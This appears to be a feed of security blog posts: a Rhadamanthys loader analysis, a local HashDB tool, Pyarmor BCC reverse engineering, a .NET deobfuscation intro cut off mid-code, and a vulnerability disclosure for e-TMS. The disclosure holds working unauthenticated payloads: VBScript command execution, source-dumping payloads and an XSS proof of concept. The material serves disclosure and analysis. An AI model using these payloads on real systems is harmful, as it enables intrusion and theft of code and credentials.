We went through all this effort to bring the code into a shape that can be reversed without too much pain. So let’s see what the Rhadamanthys loader is actually up to.

You can already glean some details from the main function printed in the previous section.

One of the first consequential things that happen is a function call to 0x40F830 followed by a very conspicuous message box if successful. As the message text implies, that function actually checks if the binary was not crypted/packed. This is implemented by doing some section parsing and reading the first 0x1000 .text bytes from disk; those are simply compared with what’s in memory.

Interestingly, the check disregards the fact that the binary was built with relocations and was flagged as movable. It works regardless, because the first function is huge and doesn’t use any addresses that would need to be relocated. The function was probably placed at that position intentionally - otherwise it’d be pure luck.

Other than that, there’s lots of windowing code to register a window class and create an invisible window. A structure called Param is initialized and pretty much contains the state for the rest of the program. It’s passed as the window’s user data pointer so that it can be retrieved later on. The rest of the main function doesn’t actually do much; it eventually enters a classic message loop in order to support the window.

Since a window is in play here, the next point of interest will usually be the so-called window procedure, or WndProc. This is called whenever the operating system has a message that either relates to the window directly or that could be relevant to the application in general (e.g., “the system is about to shut down”).

The procedure handles the following messages:

WM_CREATE: Called after the window has been created. The malware sets up a timer with ID 2.
WM_DESTROY: Called when the window is about to be destroyed. The malware calls PostQuitMessage to essentially end the process.
WM_TIMER: Timer callback.
WM_CAP_SET_CALLBACK_YIELD: Posted by the malware itself. Queues a function pointer.

From the above, you may be able to guess that the main functionality is actually implemented using timers. We find ourselves with a pretty convoluted scheme where many operations are executed as part of callbacks, and it’s not immediately obvious what happens in which order and under which conditions.

Timer ID 2 collects the current cursor position, foreground window and timestamp every 30 milliseconds, 1500 times. This causes a delay of at least 45 seconds until the actual payload is run.
Once it has collected everything, it will do a couple checks on the data. If the checks are successful, it queues function 0x40FBE0 and schedules timer ID 1. The checks are as follows:
- Whether the cursor position has changed at least 30 times.
- There must have been at least two foreground windows, and at least one of them must not belong to the desktop process.
- If the checks fail, the loader will enter another 45 seconds interval, and it will start doing advanced checks that include calculating Euclidean distances between cursor positions. We haven’t analyzed that part in detail.
Timer ID 1 runs any queued functions.
Function 0x40FBE0 posts WM_CAP_SET_CALLBACK_YIELD with parameter 0x411850; as described above, the handler for this message simply queues the parameter as a function pointer (to the queue that timer ID 1 is working on).
0x411850 is responsible for decoding and eventually running the stealer payload. It will post additional functions using WM_CAP_SET_CALLBACK_YIELD that do parts of the work.

These measures are designed to thwart execution in AV emulators and malware sandboxes. For example, if a sandbox sets a different cursor position every 3 seconds but doesn’t simulate “fluid” movement, the captured coordinates will not exceed the threshold of 30 within 45 seconds. CAPE and VMRay pass these checks fine, so in the end they aren’t too effective against common sandboxes.

Custom binary encoding

As promised in the intro, here’s a representation of the algorithm (function 0x416790) that is used to decode the payload strings into binary:

Input	Output
A-Z	0-25
a-z	26-51
0-9	52-61
!?#$%&()*+-,/:;<>=@[\]^`{\\|}~\n	62-90
`' '` + A-Z / a-z	91-142
`'.'` + A-Z / a-z / 0-9	143-204
`'_'` + A-Z	205-230
`'_'` + a-z	231-255 + 0

If you’re wondering what the + 0 is supposed to mean: 0 is encoded by A as well as _z. The malware doesn’t actually make use of this overflow “feature”, though.

While the first three ranges are reminiscent of Base64, the algorithm is completely different from base encodings. Up until 90, it makes use of a lookup consisting of special characters. For the rest up until 255, there’s a two-letter encoding scheme with a special prefix character that influences the output range.

I later found a post by Cormac Conlon stating that the .NET-based variant of the loader also uses this algorithm, where it’s called Flutter.

Note that in addition to this, the payload is also encrypted using a somewhat obscure Chinese block cipher called SM4. The tables/constants required by the algorithm (S-Box, FK, CK) are obscured in function 0x405E50; they’re only loaded temporarily when needed.

Outro

The Rhadamanthys operation has seen a disruption by Operation Endgame earlier this month. It remains to be seen if/how quickly they recover. A lot of data stolen by the stealer was also recovered by law enforcement and provided to Have I Been Pwned.

Our tooling that we developed as part of this research is available on GitHub. Perhaps it will prove useful in the future if the same obfuscator is used for other malware, or if a very similar one pops up to which the code can be adapted. Other than that, we hope the code can serve as a learning resource for how to implement a fast static deobfuscator utilizing the Capstone disassembly library.

Running your own HashDB lookup

Tue, 30 Sep 2025 08:00:00 +0000

What’s all the fuss about?

Imagine you are just starting the analysis of your next sample and stumble across some logic that seems like the implementation of API hashing. But it doesn’t worry you, because you just heard about this tool that is able to automagically resolve the hashes to the original API strings. Your lord and savior: HashDB.

But what if you don’t want to depend on some service provider because you are working with confidential files or an unpublished malware? How can you be sure the service provider will not at some point in time be interested in your analysis behavior? Or, most importantly, what if you just cannot reach the internet from your analysis system?

No worries, we got you!

Run HashDB locally

To solve the problems above (and more) we created the HashDB database for local lookups. Our implementation can be found on GitHub and consists of three components:

In the following, we will explain the functionality / benefits of each component.

TL;DR

Download the latest release and unzip it in your IDA plugins directory - %PROGRAMFILES%/IDA/plugins/ usually (contains a prebuilt lookup database, have a look at HashDB builder on how to build your own)
Create the directory %LOCALAPPDATA%/hashdb/
Move the file hashdb.sqlite3 to the location %LOCALAPPDATA%/hashdb/
Done

IDA plugin

The plugin is a fork of the original implementation made by OALabs. For an exhaustive explanation look at the README. In short the plugin is able to find the hash algorithm in use, use a static xor value, create an enum to replace hash constants with its API name and more.

Originally the plugin used the requests module to communicate with the remote HashDB lookup service. Therefore we had to make some changes here. We wanted to change the original code as little as possible because of forward compatibility. The most straight-forward solution was to implement our own “requests” methods that can be used as replacement in the plugin. The logic is implemented in our hook. To make sure the plugin gets adapted accordingly, we created a patch file that can be used to simply replace the requests import with our own implementation.

Local HashDB database

The core component of the local HashDB implementation is the database with all needed information to make local hash lookups. This database is filled with information from three sources:

Hash algorithm implementations
SQLite database with information about relevant Windows APIs and module namens
A file with strings that should be added to the lookup database

Hash algorithms

To be able to fill the database with the needed string to hash mappings, we need the implementation of all algorithms used for API hashing (or at least, as many as possible). Luckily, there is a public repo by OALabs, that contains plenty of them. If you want to add your own algorithms you can always do so by adding the implementation of it in the algorithms folder. The implementation has to be in the following form:

#!/usr/bin/env python

DESCRIPTION = "your hash description here"
EXTENDED_PERMUTATION = True # set on true only if extended permutations is needed
# Type can be either 'unsigned_int' (32bit) or 'unsigned_long' (64bit)
TYPE = 'unsigned_int'
# Test must match the exact hash of the string 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
TEST_1 = hash_of_string_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789


def hash(data):
    # your implementation here

Also if you add a new algorithm to your local database and it’s not top secret: Make sure to add it to OALabs repo as well to help the community!

Database of Windows APIs / modules and list of strings

Furthermore we added a database with relevant Windows modules and APIs. Additionally a strings file is used to add custom strings to the HashDB lookup database. You can use both files to add information that you want HashDB to be able to lookup. This is easy for random strings that you have found hashed in your samples: Just put them into the strings file. If you want to add a module that is not already in the prepared you can use the make_function_db.py script. To use it you have to follow these two steps:

mkdir <fancy_name>
python ./make_function_db.py <fancy_name> ./functions_with_forwards.sqlite3

After you have prepared these two files with all the information you want to be able to look up (or just leave the files as they are - this should be enough for most use cases), you are now ready to build the main lookup database.

Main database for the local HashDB lookup

Both of the mentioned files (API database and strings file) are used in the process of database creation (i.e., running the hashdb_builder.py script) to populate the HashDB lookup database. The script builds a database containing all given modules, APIs, strings, and permutations and calculates hashes for all combinations of APIs / strings and permutations. This database will be the source for lookups done by the hook described below.

Hook

The hook is used to connect the IDA plugin with our local HashDB database. As mentioned above, in order to keep the plugin mostly unchanged, we had to implement the needed requests methods (get and post) to run queries on the local database. The remote HashDB lookup service provides API functions to query their database for specific information. We implemented some of the endpoints in the hook to query our local lookup database.

We implemented four endpoints in the hooking logic to use the lookup database:

GET /hash: Used to list all available hash algorithms in the database
GET /hash/<algorithm>/<hash>: Get the corresponding API string for the given algorithm + hash combination
GET /module/<module>/<permutation>: Get a list of API string hashes for a module and algorithm using a specific permutation
POST /hunt: Hunt for the right hash algorithm (i.e., search for the hash in the database and return the corresponding algorithm)

Conclusion

With the provided adaptation of the IDA plugin and the implementation of a local HashDB lookup using a custom database, you are able to leverage the full potential of HashDB without the cons of using a remote service provider. Additionally you can add any hashed strings from your analysis to the lookup database so that you are able to adapt it to your needs in the most flexible way.

Have fun :)

I Know What You Shipped Last Summer - RCE, SQLi and More in Logistics Software e-TMS

Fri, 19 Sep 2025 12:00:00 +0000

During an external penetration test for one of our clients we stumbled upon their e-TMS instance. e-TMS is a transportation management software developed by Andsoft with a lot of features such as management of transport orders, transport organization, tracking, invoicing and many more. We found several critical vulnerabilities such as multiple remote code executions, sql injections (paired with md5 hashed passwords…), a file read and reflected cross-site scripting - all unauthenticated! In fact, we did not test the authenticated part of e-TMS. According to Andsoft’s website, it is used by many large companies in the logistics sector, the largest of which has up to 41,000 employees and a revenue of 8.2 billion euros. During the penetration test, we identified 42 publicly exposed e-TMS instances, all susceptible to the discovered vulnerabilities.

Overview of the CVEs

While we requested only one CVE for each vulnerability type (=5 in total), the Spanish CNA INCIBE insisted on issuing one CVE for each occurrence of a vulnerability, resulting in a total of 40 CVEs. The vulnerabilities were found in v15.12 of e-TMS, and the client confirmed that their other instance with v25.03 (the latest as of January 2025) was also vulnerable to them.

CVE Number	Name	Severity
CVE-2025-59735 - CVE-2025-59741	Unauthenticated Remote Code Execution	Critical
CVE-2025-59742 - CVE-2025-59743	Unauthenticated SQL Injection	Critical
CVE-2025-59744	Unauthenticated File Read	High
CVE-2025-59746 - CVE-2025-59774	Reflected Cross-Site Scripting	Medium
CVE-2025-59745	Insecure Password Hashing (md5)	Medium

The advisory of INCIBE can be seen here.

Remediation

UPDATE (24.09.25)

Andsoft reached out to us and provided the following information:

The patches VNL 25001 and VNL 25010 were released in January 2025 and addressed some of the stated security vulnerabilities
As of e-TMS Version v25.04 - released in April 2025, all stated security vulnerabilities have been fully resolved
Annual penetration tests are performed to ensure e-TMS’ security

Initial

The critical vulnerabilities have been fixed by Andsoft in our clients’ instances. However, we have no information whether Andsoft has fixed them in the other clients’ instances, nor if there is an official version in which they have been fixed. In fact, the other vulnerabilities (Unauthenticated File Read, Reflected Cross-Site Scripting, Insecure Password Hashing) have still not been fixed in our clients’ instances as of 05.03.2025. Andsoft has not responded to our emails or to the Spanish national CNA INCIBE.

We have only examined the unauthenticated part of e-TMS. However, a quick look at the source code of the authenticated pages indicated that the situation there was even worse. It should therefore be carefully checked who has access to e-TMS and accounts that are no longer required should be removed. Furthermore, all users should be encouraged to set a strong and unique password so that attackers cannot gain access to the authenticated part via weak passwords.

Ideally, e-TMS should not be publicly accessible on the internet in order to reduce the attack surface until the serious vulnerabilities in the authenticated and, above all, unauthenticated part of e-TMS have been eliminated.

Figure 01: To fix and cooperate or not to fix and cooperate, that is the question

CVEs in Detail

Unauthenticated Remote Code Execution

One of the scanners we used (Dalfox) reported an XSS vulnerability (see Reflected Cross-Site Scripting) in the login page /clt/loginfrm.asp. While inspecting the vulnerable body parameter M, we noticed an interesting error message if M contained, for example, a ".

Figure 02: VB Script error message.

Even without any knowledge of French, we could clearly see that it was a Microsoft Visual Basic script error message stating that a string was not closed properly. This was already a good indicator that we had an unauthenticated remote code execution. Exploiting it required a bit of tinkering, as we are not that familiar with classic ASP and VB Script, as both are legacy and long deprecated.

Eventually, we came up with the payload 1 & Execute("Set shell=CreateObject(""WScript.Shell""):Set exec=shell.Exec(""cmd.exe /c whoami & cd & hostname""):Response.Write(exec.StdOut.ReadAll)") which allowed us to execute arbitrary commands and write their output to the response.

Figure 03: Exploiting the RCE.

Further, we have created payloads to

list all subdirectories in a directory 1 & Execute("Sub ListSubfolders(folderPath):Set fso=CreateObject(""Scripting.FileSystemObject""):Set folder=fso.GetFolder(folderPath):For Each subFolder In folder.SubFolders:Response.Write(subFolder.Path & ""<br>""):Response.Flush:Next:End Sub:ListSubfolders ""\\x.x.x.x\Inetpub\ANDSYS_WIN\""")
dump all files in a directory 1 & Execute("Set fso=CreateObject(""Scripting.FileSystemObject""):Set folder=fso.GetFolder(""\\x.x.x.x\Inetpub\ANDSYS_WIN\clt\""):For Each file In folder.Files: Set f=fso.OpenTextFile(file.Path,1):Response.Write(file.Name & ""<br>"" & f.ReadAll & ""<hr>""):f.Close:Response.Flush:Next")

Figure 04: Dumping source code.

This allowed us to dump the source code directory by directory without having to deal with the client’s EDR.

And, oh boy, was the source code a gold mine. Keep in mind that we were contracted for an external penetration test with a time constraint of ~1.5 hours per server. However, in order to dig for more gold, we decided to invest some of our slack time in exploring the source code, which resulted in the discovery of more critical vulnerabilities. We limited our scope to the unauthenticated portion of the web application, otherwise it would have been a bottomless pit.

In fact, there was not only the login page /clt/loginfrm.asp but a total of 25!

And many of them were vulnerable to the same RCE. It appears that some clients received a personalized login page with a hardcoded image of the client’s logo. Other than that, the code was identical. For some reason, the personalized login forms were delivered to all e-TMS clients.

Figure 05: 'Everyone' gets a customized login page vulnerable to RCE.

So let’s take a look at the vulnerable code in /clt/loginfrm.asp to see how the RCE was made possible.

Disclaimer: For legal reasons, we will not show any of the original source code. Therefore, we have mocked the vulnerable code using node.js. A positive side effect is that most of you are probably more familiar with JavaScript than VB Script anyway.

Figure 06: Vulnerable code of loginfrm.asp (mocked using node.js).

Well, that’s straightforward. It takes the value of the body parameter M and calls eval on it. The eval in VB Script behaves much like the eval in JavaScript: It takes a string and evaluates it as code… After a lot of back and forth, with our client being the man in the middle during the communication with Andsoft, they finally fixed it by changing the line containing the eval to strError = "LOGIN ERROR". This will only return a generic error message - without using eval.

While looking for the use of more evals in the unauthenticated parts of the web application, we stumbled upon /CLT/LOGINERRORFRM.ASP.

Figure 07: Vulnerable code of LOGINERRORFRM.ASP (mocked using node.js).

Almost the same vulnerability with the only difference that M is a query parameter instead of a body parameter.

Figure 08: Other page vulnerable to RCE.

Unauthenticated SQL Injection

Two SQL Injections have been found in the unauthenticated part of e-TMS.

The first one affects the /CLT/track_request.asp page.

Figure 09: Track request page.

While the default form presented is not vulnerable to SQLi, the form presented if the query parameter forgot=1 is set is vulnerable.

Figure 10: Vulnerable form.

This sends the following request to /inc/login/TRACK_REQUESTFRMSQL.ASP?FORGOT=1, which results in an SQL error message.

Figure 11: Request triggering sql error.

This error-based SQLi could be easily exploited using sqlmap to dump, among other things, the hashed passwords of the users. This revealed that the passwords were only md5 hashed (see Insecure Password Hashing (md5)).

But let’s have a look at the source code:

Figure 12: Vulnerable code of TRACK_REQUESTFRMSQL.ASP (mocked using node.js).

The query parameter FORGOT must have any value. This brings us to the part of the code where a SQL query is constructed. The body parameter USRMAIL is embedded directly into the SQL query without any validation or sanitization - leading to SQL injection. Although the code contains a function to sanitize untrusted data for SQL queries, it is not used in many places, such as here.

The second SQLi concerns /inc/connect/CONNECTION.ASP.

Figure 13: Request triggering sql error.

The cookie SessionID seems to be insecurely embedded in a SQL query. Let’s have a look at the source code:

Figure 14: Vulnerable code of CONNECTION.ASP (mocked using node.js).

The reason is similar to the first SQLi. request.cookies("SessionID") is passed directly to the SQL query and not to ToSqlVarcharQuote first.

Unauthenticated File Read

e-TMS has a page (lib/asp/DOCSAVEASASP.ASP) that returns the content of any file in the webroot. No authentication required.

Figure 15: File read being exploited to read the content of a file.

DOCURL specifies the target file and can be either a query or a body parameter. In particular, the configuration file of e-TMS, which contains SQL and Active Directory credentials, as well as API keys, is a high value target. However, we will not disclose it’s name or path :)

Reflected Cross-Site Scripting

Well, cross-site scripting (XSS) seems to be a big problem. Every page available to unauthenticated users was vulnerable to XSS.

/CLT/LOGINFRM.asp, /clt/LOGINFRM_DJO.ASP, /clt/LOGINFRM_LXA.ASP, /clt/LOGINFRM_BET.ASP, /clt/LOGINFRM_original.ASP, /clt/LOGINFRM_CAT.ASP: Query parameters l, demo, demo2, TNTLOGIN, UO and SuppConn
/lib/asp/alert.asp: Query parameter M
/clt/resetPassword.asp: Query parameter L
/CLT/changepassword.ASP: Query parameters Reset and L
/CLT/TRACK_REQUEST.ASP: Query parameters forgot and L

Here is a simple PoC (/clt/loginfrm.asp?l="><svg/onload="alert(%27still%20not%20fixed%27)">) to illustrate this:

Figure 17: Exploitation of one of the XSS

Insecure Password Hashing (md5)

The Unauthenticated SQL Injection was exploited to dump the user table. This revealed that the passwords were simply hashed using the insecure md5 hashing algorithm. Thus, most of the passwords could be cracked without any effort. Let’s take a look at the encrypt function:

Figure 18: Code of the encrypt function (mocked using node.js).

While e-TMS seems to support both MD5 and SHA256 as hashing algorithms, the SHA256 case cannot be reached because it is hardcoded to use MD5.

Timeline

2025-01-06	Start of the external penetration test
2025-01-13	Reported RCEs and SQLis to our client
2025-01-16	End of the external penetration test
2025-01-17	Attempt #1 to contact the vendor - no response
2025-01-27	Delivered the penetration test report to our client
2025-01-27	Attempt #2 to contact the vendor - no response
2025-02-26	Requested CVEs with INCIBE as CNA
2025-04-25	Asked INCIBE for a status update - the vendor did not respond to them
2025-09-19	CVEs were published

Notes on Pyarmor BCC Mode

Fri, 30 May 2025 12:30:00 +0000

Intro

Throughout the last month, it has been brought to our attention by multiple parties that threat actors have increasingly started using BCC mode for protecting their Python scripts.

Dashingsoft, the company behind Pyarmor, describes BCC mode as follows on their homepage:

Converts some Python functions to C functions and compiles them into machine instructions using high optimization options for irreversible obfuscation.

We assume BCC is short for something akin to “Bytecode to C Compilation”.

From the sound of it, this does not bode well. In today’s post, we’ll delve into this form of obfuscation and see what can be done to get some insight into the protected code for the purpose of malware analysis.

Enter BCC

The first question is: Where can we even find the functions that have been compiled to native code? It turns out, the tooling we developed as part of the last blog post already dumped it - albeit by accident. Some users of the script were confused that they weren’t able to unmarshal any Python data after initially decrypting the Pyarmor blob, because… well, see for yourself.

Figure 1: That's not marshaled Python data!

Seeing an ELF (Executable and Linkable Format) file here is quite unusual, especially since the malware in question is targeting Windows. However, that’s not the only unusual thing: The ELF structure is quite malformed and IDA, for example, refuses to load the file because it can’t make heads or tails of the headers. Our suspicion is that Pyarmor produces an ELF object during its compilation process and then heavily customizes the header for its own purposes.

At runtime, VirtualAlloc is used to allocate a single area of memory with RWX permissions that the entire ELF is written into. The Pyarmor runtime then performs some computations to retrieve the following information from the header:

A pointer to a function table, describing which functions are present in the binary and where they begin. Located at 0x160 in Figure 1.
An offset where the Pyarmor runtime should place a pointer to an “interface” object that allows the BCC code to interact with the outside world. Located at 0xE0 in Figure 1.

Figure 2: Function table in the ELF

As can be seen in Figure 2, each table entry consists of 4 qwords: A pointer to the null-terminated function name (not very expressive; it’s bcc_ followed by the line number in the original script), a pointer to the function itself, and two values that are always 1 and 0 here. This happens to be a perfect match for the PyMethodDef struct. The value denoted as 1 is the method flags, METH_VARARGS. The 0 is for the function docstring pointer, which Pyarmor has no reason to supply.

How are BCC functions called?

So far, we’ve dumped the BCC ELF file. Where is the Python module that we expected in the first place, which should contain bytecode that calls the BCC parts in some fashion?

It turns out there are two encrypted Pyarmor blobs in the bytes-string passed to __pyarmor__ when BCC mode is used. The first is the ELF, the second one the compiled Python module. We adjusted our tooling so that it is aware of this situation and saves both.

The disassembly of a BCC stub function looks like this:

Disassembly of <code object main at 0x73c1cb604ab0, file "<frozen main>", line 41>:
 41           0 RESUME                   0

  1           2 LOAD_CONST               0 (None)
              4 STORE_FAST               0 (__assert_bcc__)

  2           6 PUSH_NULL
              8 LOAD_CONST               1 ('__pyarmor_bcc_54438__')
             10 NOP
             12 PRECALL                  0
             16 CALL                     0

 41          26 RETURN_VALUE

There’s nothing spectacular going on here - it assigns an __assert_bcc__ variable and then does a call. The call is on a string constant __pyarmor_bcc_54438__ - we’d expect it to go to bcc_41 in the ELF. How do the two relate?

If you remember our previous blog post on Pyarmor, you may remember we encountered some extra data in code objects marshaled by Pyarmor. At the time we ignored it and didn’t do a deeper analysis, because it didn’t really matter for our purposes. That has changed now. We figured out that it’s essentially a mapping that describes how to patch the co_consts of the code object being loaded. The patches inject native function references.

There are multiple types of patches, the most important ones are:

Replace constant with reference to one of three Pyarmor runtime functions: C_ASSERT_ARMORED, C_ENTER_CO_OBJECT or C_LEAVE_CO_OBJECT. In the example above, this happens for constant index 0, which is specified as None. The patch data dictates that it gets overwritten with a reference to C_ASSERT_ARMORED.
Replace constant with a PyCMethod that references a definition in the BCC function table. This happens for constant index 1 in the example. The patch data maps it to BCC table index 0, which is bcc_41 as expected.

The previous contents of the constant are ignored - as far as we understand, the __pyarmor_bcc_54438__ string may as well have been None without breaking anything.

All in all, this nifty injection/replacement logic enables everything to work together seamlessly, without requiring further trickery such as intercepting CALL instructions in the bytecode.

We’ve expanded our tool repository with a new bcc_info.py script that parses the data and prints the mappings, among other things.

Interactions between BCC code, Pyarmor, and Python

The native code does not exist in a vacuum, or in other words, it’s not at all self-contained. It needs to have frequent interactions with the Python interpreter for tasks such as retrieving object attributes and calling other functions. This also goes for calling other BCC functions: they aren’t called directly - instead, it takes the roundtrip through the interpreter.

Another interesting topic is math. Consider the following Python expression: (100000000000 + 300000000000) ** 2. While the addition would work with a standard C + operator (given that 64-bit integer types are used), an exponentiation operator is not directly available, and the final result is so large that it would require using a library for working with big numbers. Pyarmor thus cannot translate any numeric operation directly into native code. The numbers stay wrapped into PyNumber objects, just as they would during “normal” script execution, and the native code needs to call into the Python interpreter to perform any kind of operation such as addition, multiplication, and so on.

All of these interactions are made possible by a special struct that the Pyarmor runtime shares with the BCC code. It contains mostly function pointers, but also a handful of object references.

We’ve reverse engineered the most important parts of the structure.

enum GLOBAL_OPS
{
  GLOBAL_DELETE = 0x0,
  GLOBAL_GET = 0x1,
  GLOBAL_RETURN_GLOBALS = 0x2,
  GLOBAL_SPECIAL_ENTER = 0x4, /* __enter__ */
  GLOBAL_SPECIAL_EXIT = 0x5, /* __exit__ */
  GLOBAL_SET_MIN = 0x10, /* anything above means Set (pointer value instead of int) */
};

struct bcc_ftable
{
  _QWORD p_stdin;
  void (__fastcall *memset)(void *, _QWORD, _QWORD);
  _QWORD p_stderr;
  _QWORD fprintf;
  void *(__fastcall *PyNumber_operator)(void *a, void *b, int operatortype);
  __int64 (*build_collection)(__int64 colltype, __int64 count, ...);
  __int64 *(__fastcall *call_python_func)(__int64 bDontCall, __int64 *pyCallable, int bArgsRequired, int bKwArgsRequired, __int64 *argsTuple, __int64 *kwargsDict);
  int (__fastcall *set_exception_if_none_was_raised)(int mode);
  void *(__fastcall *comparison)(void *unused, int operatortype, void *left, void *right);
  _QWORD qword48;
  _QWORD fetch_exception;
  _QWORD string_format;
  void *(__fastcall *globals_operation)(void *unused, void *key, GLOBAL_OPS modeOrValueForSet);
  _QWORD op_mkfunc_not_available;
  void *(__fastcall *iter_next)(void *);
  _QWORD qword78;
  _QWORD qword80;
  _QWORD update_exception_info;
  _QWORD qword90;
  __int64 (__fastcall *unpack_values)(void *unused, void *input, int maxCount, void **output);
  _QWORD qwordA0;
  _QWORD new_function;
  _QWORD qwordB0;
  _QWORD import_stuff;
  _BYTE gapC0[32];
  _QWORD Py_NoneStruct;
  _QWORD Py_TrueStruct;
  _QWORD Py_FalseStruct;
  _QWORD gapF8;
  int (__fastcall *PyBytes_AsStringAndSize)(void *obj, char **buffer, _QWORD *length);
  void *(__fastcall *PyCell_Get)(void *cell);
  void *(__fastcall *PyCell_New)(void *ob);
  int (__fastcall *PyCell_Set)(void *cell, void *value);
  void (__fastcall *PyErr_Clear)();
  void *(__fastcall *PyErr_Occurred)();
  void (__fastcall *PyErr_SetObject)(void *type, void *value);
  void *(__fastcall *PyEval_GetGlobals)();
  void *(__fastcall *PyImport_ImportModule)(const char *name);
  void *(__fastcall *PyImport_ImportModuleLevel)(const char *name, void *globals, void *locals, void *fromlist, int level);
  int (__fastcall *PyList_Append)(void *list, void *item);
  void *(__fastcall *PyList_New)(__int64 len);
  void *(*PyObject_CallFunction_SizeT)(void *callable, const char *format, ...);
  void *(*PyObject_CallFunctionObjArgs)(void *callable, ...);
  void *(*PyObject_CallMethod_SizeT)(void *obj, const char *name, const char *format, ...);
  int (__fastcall *PyObject_DelItem)(void *, void *key);
  void *(__fastcall *PyObject_GetAttr)(void *, void *attr_name);
  void *(__fastcall *PyObject_GetItem)(void *, void *key);
  void *(__fastcall *PyObject_GetIter)(void *);
  int (__fastcall *PyObject_IsTrue)(void *);
  int (__fastcall *PyObject_SetAttr)(void *, void *attr_name, void *v);
  int (__fastcall *PyObject_SetItem)(void *, void *key, void *v);
  int (__fastcall *PySet_Add)(void *, void *key);
  void *(__fastcall *PySet_New)(void *iterable);
  void *(__fastcall *PySlice_New)(void *start, void *stop, void *step);
  void *(__fastcall *PyTuple_GetItem)(void *p, __int64 pos);
  void (__fastcall *Py_DecRef)(void *);
  void (__fastcall *Py_IncRef)(void *);
};

In the first half we have a couple C language functions and pointers, followed by helper functions defined in the Pyarmor runtime. The second half consists of pointers to functions and structs exposed by the standard Python C API.

The struct is created in the __pyarmor__ C implementation:

  ftable_->memset = memset;
  ftable_->p_stderr = v67(2LL);
  ftable = *bcc_state_;
  ftable->fprintf = fprintf;
  ftable->PyNumber_operator = bcc_PyNumber_operator;
  ftable->build_collection = bcc_build_collection;
  ftable->call_python_func = bcc_call_python_func;
  ftable->set_exception_if_none_was_raised = bcc_set_exception_if_none_was_raised;
  ftable->comparison = bcc_comparison;
  ftable->qword48 = sub_648D2580;
  [ ... ]

An example of BCC code

Let’s study a small example of what Python code that was translated to C could look like.

  call_python_func = ftable->call_python_func;
  v9 = (_DWORD *)v4[3];
  if ( v9 )
  {
    ++*v9;
    v10 = ftable->globals_operation(v23, v9, GLOBAL_GET);
    v7 = ftable;
  }
  else
  {
    v10 = 0LL;
  }
  v7->Py_DecRef(v9);
  v11 = (_DWORD *)v4[4];
  if ( v11 && (++*v11, v10) )
    v12 = (__int64 *)ftable->PyObject_GetAttr(v10, v11);
  else
    v12 = 0LL;
  ftable->Py_DecRef(v10);
  ftable->Py_DecRef(v11);
  build_collection = ftable->build_collection;
  if ( v26 )
    ++*(_DWORD *)v26;
  v14 = (__int64 *)build_collection(1LL, 1LL);
  v15 = call_python_func(0LL, v12, 1, 0, v14, 0LL);

The code performs the following steps:

A global variable is retrieved by name.
An attribute is retrieved from the object pointed to by the variable.
The retrieved attribute happens to be a Callable, which is called at the end.

If we imagine the global was sys, and the attribute was exit, we’d have something like sys.exit(argument). The argument resides in v26, which is initially set somewhere above in code not shown here; unfortunately, the decompiler doesn’t seem to understand the variadic nature of the build_collection function and never shows more than two parameters (it also doesn’t offer the option to add them manually in this case).

The example shows the effect of BCC mode: a single line of Python code is easily blown into 30 lines of C pseudocode. While it’s not too hard to follow what’s going on, it’s not so easy to intuit at a glance what the code is doing as a whole. Everything is quite spread out and interspersed with low-level details such as reference counting.

If you analyze a BCC code blob, you’ll find that it doesn’t contain any strings to speak of, nor any other constants. In the example above, we saw references such as v4[3] and v4[4]. This pattern can be found in all BCC functions, and the indexes mostly increase, with some rarely being reused. It stands to reason that we found the usages of the constants - next, we need to figure out where to find the actual values.

Constant In All Other Things

At the beginning of each BCC function you’ll see something like this:

v4 = *(__int64 **)(a1 + 8LL * *(int *)(a1 + 16) + 16);

Followed by references to v4 starting with array index 3.

The first question is, what is a1? We’ve seen that BCC functions are created as PyCMethod instances, which get PyObject *self as first parameter. While normally, method means a function that is part of a class and is invoked on object instances of said class, the Pyarmor authors decided to repurpose it: they pass co_consts as self.

The co_consts of the example in the previous section looks like this: (None, '__pyarmor_bcc_54440__', ('sys', 'exit')). That last tuple looks interesting - it would be a good fit. Thus, we’re looking for the access pattern tuple-in-a-tuple.

The items in a (native) Python tuple start at offset 24, while the size resides at offset 16 (note: these values depend on the Python version and build settings). With the knowledge that our tuple of interest is the last one, we can rewrite the code in multiple steps in order to make sense of it:

v4 = *(__int64 **)(a1 + 8LL * a1->count + 16);
v4 = *(__int64 **)(a1 + 8LL * (a1->count - 1) + 24);
v4 = a1->items[a1->count - 1]; // last one in co_consts

sys_str = v4[3]; // aka v4 + 24
sys_str = v4->items[0];
exit_str = v4[4]; // aka v4 + 24 + 8
exit_str = v4->items[1];

Now, it would be quite annoying to have to manually look up every single constant, especially in larger methods with dozens of values. We developed an IDA script that works with the output of the bcc_info.py script and adds comments to all constant references in the decompiler view (ida_annotate_bcc.py on GitHub). As an added bonus, it creates and names functions in the ELF if they don’t exist yet.

Conclusion

Analyzing samples protected with BCC mode can be a formidable challenge, especially without tooling support. The translation to C makes any existing tools that work with Python bytecode completely useless, and the clever separation of code and data adds further complications.

We hope that this research and the support scripts we’ve provided will prove helpful to the community in analyzing threats protected with this obfuscation.

Pyarmor-Tooling repository on GitHub: https://github.com/GDATAAdvancedAnalytics/Pyarmor-Tooling

.NET Deobfuscation

Mon, 07 Apr 2025 13:00:00 +0000

Intro

In the last post, we ended up with a couple .NET Framework malware samples that had obfuscation applied to them.

.NET is a runtime environment that executes intermediate code (CIL) in a managed way, using a just-in-time compiler to translate it into native machine code at runtime. In order to make that possible, a .NET binary (more commonly called assembly) has clearly laid out information about contained types, fields, methods, and more. In short, there’s much more structure and less ambiguity when compared to native binaries, and there is very mature tooling support for working with those structures programmatically.

This post will provide an overview over a couple of obfuscation techniques that are commonly encountered in .NET assemblies and how to deal with them. Often, you’ll find tools that automatically deobfuscate everything for you, but the question is, what if those tools aren’t working correctly in your particular case? It’s good to know how exactly they work their magic and, if required, to be able to fix or extend them. At times, this post will take on a tutorial-like tone, because there are not many resources at all that explain how to extend de4dot.

Common obfuscation techniques

Our survey of techniques won’t be exhaustive, we will just look at some of the most commonly used ones.

We’ll be working with de4dot’s code, because it’s an excellent framework for .NET code deobfuscation. It provides many little helpers and strategies that can be easily customized/extended to undo most common types of obfuscation.

Technique: Packing

The classic. The actual malware is encrypted and/or compressed, unpacked into memory at runtime, and then loaded into the process. In most cases, this involves a more or less obvious call to Assembly.Load, followed by some reflection code to invoke a method and begin execution.

Take, for example, the following decompiled code:

internal static void SetupConnection()
{
    ResolverParamWrapper.SortConnection().GetTypes().Where(new Func<Type, bool>(ResolverParamWrapper.<>c.factory.QueryConnection))
